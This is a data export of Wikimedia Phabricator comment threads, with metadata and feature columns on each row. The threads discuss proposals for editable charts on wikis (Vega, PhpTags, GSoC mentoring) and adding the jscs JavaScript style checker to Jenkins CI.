+581769,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)",Should this be closed?  We now have interactive graphs/charts/etc: https://www.mediawiki.org/wiki/Extension:Graph/Demo#Vega_2.0_Interactive_Examples,,,1450622876,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,128,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1
+410114,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Actually, this was one of the rawest ideas in the project list and is absolutely not usable for GSoC, unless a student comes who has an extremely clear idea of a feature to add and a plan for it. I'll move the possible project tag to T56222. The other blocker, T40271, would also be suitable, but I doubt it would benefit from GSoC (iterative GSoC cycles over the same problem rarely helped anything).",,,1423684001,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,True,,,84,,0,1,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0
+410110,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)",This task is about wikitext. VisualEditor support for the markup is a separate issue.,,,1423683746,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,True,,,84,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+409873,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@qgil, I can totally see this becoming a GSoC project, but most of the mentorship would have to come from the UI/Visual Editor team because they have the expertise in building custom editors.  The student would build an editor with a dynamically updated viewer for the VE.  I already have a simplified version of that [[ http://graph.wmflabs.org/w/index.php?title=Graph:Stocks&action=edit | here ]] -- click preview and try changing the graph definition.",,,1423664307,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,84,,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1
+409827,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Wikimedia will [[ https://phabricator.wikimedia.org/T921 | apply to Google Summer of Code and Outreachy ]] on Tuesday, February 17. If you want this task to become a featured project idea, please follow [[ https://phabricator.wikimedia.org/project/view/1042/ | these instructions ]]. ",,,1423662263,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,84,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+409694,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@Milimetric, @Yurik, is there a possible project related to this task that students like @Sumit could plan for in the context of Google Summer of Code 2015 (and that you would like to mentor)? Something about #MediaWiki-extensions-Graph ?",,,1423648511,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,84,,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,0
+409656,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","> I'd like to take this up as a project. Is this still open for taking up and developing for this year?
+
+It's open, but not ready. Please choose one of the extensions mentioned by this report and start filing patches against them. When you find one you're comfortable developing, you'll know the area you can work on.",,,1423643389,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,True,,,84,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,1,1,1,0,0,0
+409649,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)",I'd like to take this up as a project. Is this still open for taking up and developing for this year?,,,1423640170,,PHID-USER-ll7x5qhzru4lqz3xfdbm,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,84,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+241447,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Sorry, meant to post last comment for bug 43616.  Yet, for this request, graph ext is still applicable, except that it is not wysiwyg unless some brave soul starts hacking a proper vega editor.",,,1411455023,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,64,,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+241440,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Graph extension might be applicable, even though it is not dynamic (yet), or even in production wikis, it does support various timelines, e.g. ""Napoleon"" at http://trifacta.github.io/vega/editor/ :)
+
+See https://www.mediawiki.org/wiki/Extension:Graph and samples at https://www.mediawiki.org/wiki/Extension:Graph/Demo 
+
+Discussion at https://meta.wikimedia.org/wiki/Wikimedia_Forum#Graphs.2C_Maps.2C_..._.28experimental.29",,,1411454841,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,64,,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+241434,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","I think what you're saying makes sense Pavel.  And no worries, to participate in this community you have to be really good at dealing with distractions.  I'm still waiting for someone else to help with mentoring on this important project.  I think someone with mediawiki extension development experience would be great.  Part of the reason I can't comment more, Pavel, is that I don't know anything about mediawiki extensions :)",,,1392061032,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,32,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+241427,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Thanks, Dan. Vaga is excellent.
+
+But, for example, I need a template to draw a bar of population.
+The template takes a comma-separated list of cities.
+The population is taken from the wikidata.
+
+{{MyTemplate
+| cities=London,Berlin,Paris
+}}
+
+Source of wikipage Template:MyTemplate:
+
+... Some wiki markup ...
+<phptag>
+if ( isset($args[cities]) ) {
+  $cities = explode( $delimiter, $args[cities] );
+  $population = AskWikidata( 'Give me population of cities', $cities );
+  $data = array_combine($cities, $population);
+  echo new Vega( 
+      $data,
+      [ 'size'=>[400,200], 'scales'=>['x'=>'cities', y=>'population'] ] 
+    );
+}
+</phptag>
+... Some wiki markup ...
+
+There are:
+* functions 'explode', 'array_combine' is hooks of the extension PphTags Functions. (already done)
+* function 'AskWikidata' is fictional, but can be implemented as hook of some extension
+* objects 'Vega' is fictional, but can be implemented as hook of some extension
+* 'if', 'isset', 'echo' and '[...] (array definition)' is functions of extension PhpTags (already done)
+
+Suppose I'm developer of the extension Vega.
+I should just take the javascript source code from Vega and register hook in the extension PhpTags.
+
+source of Vega.php:
+
+$wgHooks['PhpTagsRuntimeFirstInit'][] = 'VegaExtension::initializeRuntime';
+
+class VegaExtension {
+  public static function initializeRuntime() {
+    \PhpTags\Runtime::setObjectsHook( 'VegaObject', array('Vega') );
+  }
+}
+
+class VegaObject extends PhpTags\BaseHooks {
+  public static function onObjectHook( ... ) {
+    // some code
+  }
+}
+
+The Class VegaObject will receive the arrays of data and parameters from the PhpTags,
+and when the function 'echo' is called returns all the necessary data for drowing the bar on the wikipage.
+a large part of the code (such as processing of various parameters) have to be implemented in the class PhpTags\BaseHooks.
+The class VegaObject will just have to inform PhpTags that it needs 'vega.min.js' and convey to one ready parameters.
+Since it is very simple, similar extensions can be done in one day.
+
+Maybe I'm writing all this is off topic, forgive me please.
+But I can not find anyone interested in this.
+I guess I'm looking for not out there, or can not speak understandable.
+Maybe I just doing nonsense and distract people from her work, I do not know.",,,1391663088,,PHID-USER-qdblhomoh775qwgc6rra,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,31,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+241419,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Dan, thank you for pushing this proposal. If you want to jump to the GSoC 2014 train you need to:
+
+* Take https://www.mediawiki.org/wiki/Mentorship_programs/Possible_projects#Support_for_text.2Fsyntax.2Fmarkup_driven_or_WYSIWYG_editable_charts.2C_diagrams.2C_graphs.2C_flowcharts_etc. , shorten the title, expand the description (one paragraph is enough), and move it under https://www.mediawiki.org/wiki/Mentorship_programs/Possible_projects#Featured_project_ideas
+
+* Find a second mentor.
+
+The sooner the better, since Wikimedia will be evaluated by the GSoC organizers in the next 1-2 weeks. You will know you are ready when your project looks great at https://www.mediawiki.org/wiki/Google_Summer_of_Code_2014
+
+More: http://lists.wikimedia.org/pipermail/wikitech-l/2014-February/074277.html",,,1391623649,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,31,,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+241412,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Thanks Pavel.  I like the syntax you mention.  The advantage to using Vega JS syntax would be that it's a healthy active project and we get the parser, etc. for free.  Check it out if you haven't had a chance, I linked to it above.",,,1391615361,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,31,,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+241404,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","I'd suggest using a scripting language as markup for the editable charts, diagrams, graphs, flowcharts etc.
+
+For end users this may be like the example:
+
+== Extension:Graph ==
+
+ G { ""Bonn"" --> ""Berlin"" [ style: bold; ] }    
+As
+Graph( [ ""Bonn"" => [ ""Berlin"", ""style""=>""bold"" ] ] );
+or 
+$bonn = node(""Bonn"");
+$bonn->linkTo( node(""Berlin"", ""bold"") );
+Graph( $bonn );
+
+== Extension:WikiPlot ==
+
+<wikiplot height=""200"" width=""200"" caption=""Simple plot"" xspan=""-100;100"" yspan=""-100;100"">
+        <graph label=""Graph 1."" color=""255,0,0"">x+4</graph>
+        <graph label=""Graph 2."">3*x-3</graph>
+</wikiplot>
+
+as 
+
+$plot = new Plot( ['height'=>200, 'width'=>200, 'caption'=>'Simple plot', 'xspan'=>[-100, 100], 'yspan'=>[-100, 100] ] );
+
+or 
+
+$plot = new Plot();
+$plot->height = 200;
+$plot->width = 200;
+$plot->caption = ""Simple plot"";
+$plot->xspan = [-100, 100];
+$plot->yspan = [-100, 100];
+
+and
+
+$plot.addGraph( ['x+4', 'label'=> 'Graph 1.', 'color'=>[255,0,0] ]);
+
+$graph = new Graph( ""3*x-3"" );
+$graph->label = 'Graph 2.'
+$plot.add( $graph );
+
+echo $plot;
+
+It looks like directly code execution, but it is not.
+I did mw:Extension:Foxway for testing possibility of this. I ascertained that this may work and may work quickly.
+Now I do new mw:Extension:PhpTags. There any extension can register a hook as a constant, function or object.
+So far I have only worked on the functions and constants, and did not start work on objects.
+I am sure that the PhpTags will cover all the needs and will be convenient and powerful tool.
+I would like to find someone interested in discussing this.",,,1391598767,,PHID-USER-qdblhomoh775qwgc6rra,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,31,,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+241398,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","tl;dr; I would be interested in being a mentor here, and probably collaborating until a solution is reached.
+
+We've done some thinking about this while we developed Limn [1] last year.  I believe Limn was headed in the wrong direction, but we (team analytics) are interested in solving this problem and it would be nice to combine efforts with anyone that is also interested.  Currently, I believe that Vega JS [2] is a very promising library.  It has a great mixture of simplicity and power.
+
+My personal opinion is that creating and editing infographics would work much like Visual Editor does.  There would be a simple JSON editor on the front end, which could evolve over time.  When saved, this would use a server to generate static infographics for consumption by the cache layer.  The dynamic infographic could be accessed through a link on the static image.  The cache could be repopulated with up-to-date infographics periodically if they depend on external data.  For this vision, Vega JS is quite suitable as it can generate PNGs server side for example.
+
+
+[1] https://github.com/wikimedia/limn
+[2] http://trifacta.github.io/vega/",,,1391530733,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,31,,1,1,1,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+241393,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","(In reply to comment #4)
+> Should this project be still listed in that page? 
+
+Yes.
+
+> If not, please remove it.
+> If
+> it still makes sense, then it could be moved to the ""Featured projects""
+> section
+> if it has community support and mentors.
+
+It lacks a mentor, plus (probably) someone to set a direction/the requirements (who may or not be the same person).",,,1385912944,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,True,,,21,,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,0,0,0,1
+241388,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","**vladjohn2013** wrote:
+
+Hi, this project is still listed at  https://www.mediawiki.org/wiki/Mentorship_programs/Possible_projects#Support_for_text.2Fsyntax.2Fmarkup_driven_or_WYSIWYG_editable_charts.2C_diagrams.2C_graphs.2C_flowcharts_etc. 
+
+Should this project be still listed in that page? If not, please remove it. If it still makes sense, then it could be moved to the ""Featured projects"" section if it has community support and mentors.",,,1385912632,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,21,,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0
+241383,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Is there an interest in proposing this project for Outreach Program for Women?
+If so, and if there at least one mentor for it. please move it to the ""Featured projects"" section. This way it will be automatically transcluded in
+https://www.mediawiki.org/wiki/Outreach_Program_for_Women/Round_7
+
+Thank you!",,,1383164696,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,17,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,1,0
+241378,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Correction, the links are: [[mw:Extension:WikiTeX]] (and [[mw:Extension:WikiTex]]).",,,1379434198,,PHID-USER-wuic4cpqakaykj6cpvt5,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+241373,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","What about reviving [[Extension:WikiTeX]] (not to be confused with [[Extension:WikiTex]])? This would have done graphs, plots, and more. It would be handy for it to also support simple circuit diagrams.",,,1379433154,,PHID-USER-wuic4cpqakaykj6cpvt5,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1
+56218,Jenkins: Use node-jscs as checkstyle for javascript coding style,"See https://github.com/mdevils/node-jscs
+
+This is the first tool I've seen in the category of asserting coding style for javascript that actually looks like it is worth looking into further.
+
+I intend to experiment with it in the near future for 1 or 2 projects, first in non-voting mode and perhaps later to become a standard enabled job for many projects.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Medium,50.0,1379415660,1409154874.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-2mkgo6douokimv6febmw,task_description,resolved,True,c1,3,True,False,False,11,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+424550,Jenkins: Use node-jscs as checkstyle for javascript coding style,">>! In T56218#973118, @adrianheine wrote:
+> Cool, thanks. I added `npm test`, although I didn't go through grunt since we are not running any other grunt jobs, yet:
+> 
+> * Wikibase: https://gerrit.wikimedia.org/r/#/c/184591/
+> * integration/config: https://gerrit.wikimedia.org/r/#/c/184592/
+
+That's quite alright. If you don't need do run bash commands like `mv`, `cp`, `rm`, `ln` etc. which might not work cross-platform if put inside `scripts.test` (so you'll want to use a nodejs script or Grunt task for that); Running programs like jscs and jshint directly is perfectly fine and actually quite common. I've recently started to use this more often as well. Only use Grunt when there's a need for it. This avoids added complexity, needless abstraction, and indirect dependencies on the underlying framework (e.g. jscs/jshint) which can be quite annoying since it doesn't like being pinned to a direct version that way.
+
+http://blog.keithcirkel.co.uk/how-to-use-npm-as-a-build-tool/
+http://ponyfoo.com/articles/choose-grunt-gulp-or-npm",,,1426088335,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,88,,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1
+398810,Jenkins: Use node-jscs as checkstyle for javascript coding style,"Cool, thanks. I added `npm test`, although I didn't go through grunt since we are not running any other grunt jobs, yet:
+
+* Wikibase: https://gerrit.wikimedia.org/r/#/c/184591/
+* integration/config: https://gerrit.wikimedia.org/r/#/c/184592/",,,1421144139,,PHID-USER-m2zne2efu3rgmre73nl7,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,80,,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+398785,Jenkins: Use node-jscs as checkstyle for javascript coding style,">>! In T56218#972923, @adrianheine wrote:
+> Is there work being done to get this run on ci? I'd like to push this for Wikibase as well :)
+
+You will need a package.json and a npm 'test' entry point with a devDependencies for grunt-jscs.  From there we can add a Jenkins job that invokes 'npm test' and that should run jscs.
+
+Example:
+
+https://gerrit.wikimedia.org/r/#/c/100732/
+
+More details at https://www.mediawiki.org/wiki/Continuous_integration/Test_entry_points#JavaScript :-)",,,1421140918,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,80,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,1,0,1
+398763,Jenkins: Use node-jscs as checkstyle for javascript coding style,Is there work being done to get this run on ci? I'd like to push this for Wikibase as well :),,,1421137099,,PHID-USER-m2zne2efu3rgmre73nl7,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,False,,,80,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+241200,Jenkins: Use node-jscs as checkstyle for javascript coding style,Sounds good to me Timo. That nicely scale up CI to developers :-),,,1409164241,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,60,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+241195,Jenkins: Use node-jscs as checkstyle for javascript coding style,"The bug is to figure out how to properly do it. Which I define by hacking it together for one repo, and as you repeat it for more repos you refine it until it seems sensible/maintainable.
+
+I think we've reached that point. Any further repos that want it, can enable it the same way other pipelines are introduced. By patching their Gruntfile or adding a new npm-test pipeline.",,,1409154874,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,60,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
